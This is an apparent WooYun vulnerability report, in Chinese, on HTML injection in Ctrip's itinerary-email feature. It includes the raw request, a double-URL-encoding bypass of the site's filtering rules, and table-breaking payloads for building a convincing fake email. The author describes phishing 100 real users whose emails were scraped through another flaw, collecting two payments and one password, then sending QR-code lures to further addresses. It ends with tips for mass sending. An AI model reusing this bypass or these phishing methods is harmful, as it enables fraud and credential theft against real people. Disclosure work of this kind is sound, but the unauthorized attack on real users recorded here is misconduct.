詳細說明:
這兩天在外面旅遊又用起來攜程訂酒店,偶然看到這樣一個功能

可以給自己的郵箱發送一封自己的行程郵件,點開後預設的郵箱是自己賬戶綁定的郵箱,也可以自行修改為其他任意郵箱
來看一下郵件的内容,
如果我們能控制頁面輸出變量的話,那麼可以引發一場定向的釣魚攻擊
郵箱都是支援html标記的,那麼抓包來看一下,變量中所能控制的
code 區域
POST /Customer-API-Online/Ajax/AjaxMailJourney.aspx HTTP/1.1
Host: my.ctrip.com
Proxy-Connection: keep-alive
Content-Length: 118
Cache-Control: max-age=0
Origin: http://my.ctrip.com
If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://my.ctrip.com/Customer-API-Online/MyJourney.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: *************************************************
UserName=頁面中輸出的使用者名,可控制&EmailTo=發往的郵箱目的位址&Consumer=&StartTime=&EndTime=&TargetCityName=&ItineraryType=-1&OrderStatusName=
UserName=頁面中輸出的使用者名,可控制&EmailTo=發往的郵箱目的位址
要能實作攻擊,首先的就是測試是否對長度有限制,如果限制了長度,那麼攻擊将可能變得很雞肋甚至根本無法利用
設定
UserName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
結果如圖:
并沒有長度限制,而且因為架構超出問題,原來的行程單也無法正常顯示,進一步提供了有利的條件
既然不限制長度,那麼就來測試自定義html标簽的攻擊了
測試1:
UserName=<img src=https://www.baidu.com/img/bdlogo.png />
傳回結果伺服器500錯誤:
攜程的中間件風險控制的規則應該是比對GET、POST(COOKIE沒有進行測試)中的高危行為,比如and 1=1、</>等,然後定義到錯誤頁面,如果同一IP連續多次通路該錯誤頁面,那麼就會在一段時間内屏蔽該IP位址
測試2,urlencode 1次 :
UserName=%3Cimg%20src=https://www.baidu.com/img/bdlogo.png%20/%3E
傳回500,被防禦規則丢棄
測試3,urlencode 2次:
UserName=%253Cimg%2520src=https://www.baidu.com/img/bdlogo.png%2520/%253E
傳回200,如圖,成功繞過了風險控制比對
看一下郵件:
百度君插入了
之後就是對頁面元素分析,如何插入一個最真實逼真的釣魚環境
舉個例子,比如要把後面跟着的“先生/女士…………”移動到第一個架構外
UserName=Wooyun html%253C/table%253E%253C/table%253E%253Ctable%253E%253Ctable%253E
可以看到,第一個淡藍色方框内已經排除了其他元素,剩下的可以自定義了
由于洞主對前端設計、html這一塊實在是一個渣渣
盡力也隻能僞造了以下不忍直視的結果
将背景顔色設定為白色會好看點
資料庫裡随便選了100個攜程使用者的郵箱,發送了郵件進行釣魚測試
那麼問題來了,使用者哪裡來?
是否記得有一個這個漏洞:http://wooyun.org/bugs/wooyun-2014-077356
這個漏洞裡面的問題,在報告之前很久就發現了,但是覺得不是安全問題很多站點都有該問題,以前隻爬蟲收集過一部分使用者uid郵箱,一直躺在硬碟裡,剛好拿出來用部分
下午就有了結果,很快,這麼點錢我就不退了~~畢竟我不知道你們的支付寶。。。
隻有2條支付過來的記錄,不過如果大規模進行攻擊的話,還是很可怕的。
密碼釣魚也傳回了1條
然後另選100條其他郵箱資料,非攜程使用者
在http://cli.im/生成二維碼附上,内容為測試網站,做好IP統計
竟然有這麼多人掃了。。。。看來攜程的知名度還是有的,福利誘惑一般人扛不住
2種方式進行規模化攻擊:
1、直接導入郵箱變量進行fuzzing
2、可以一次性群發(注意最開始我提到的),發一次即可,一次50條郵箱,發太多怕被伺服器拒絕。
==============================
Conclusion 總結
1、我寫的這麼渣的釣魚頁面都能中招,看來大部分網民的安全意識還是很薄弱,如果換成前端大神@瘋狗 來精心僞造一頁面元素,說不定我都中招了。
2、安全不一定在于真正強的地方有多強。
3、風控規則仍需完善,urlencode2次就繞過了。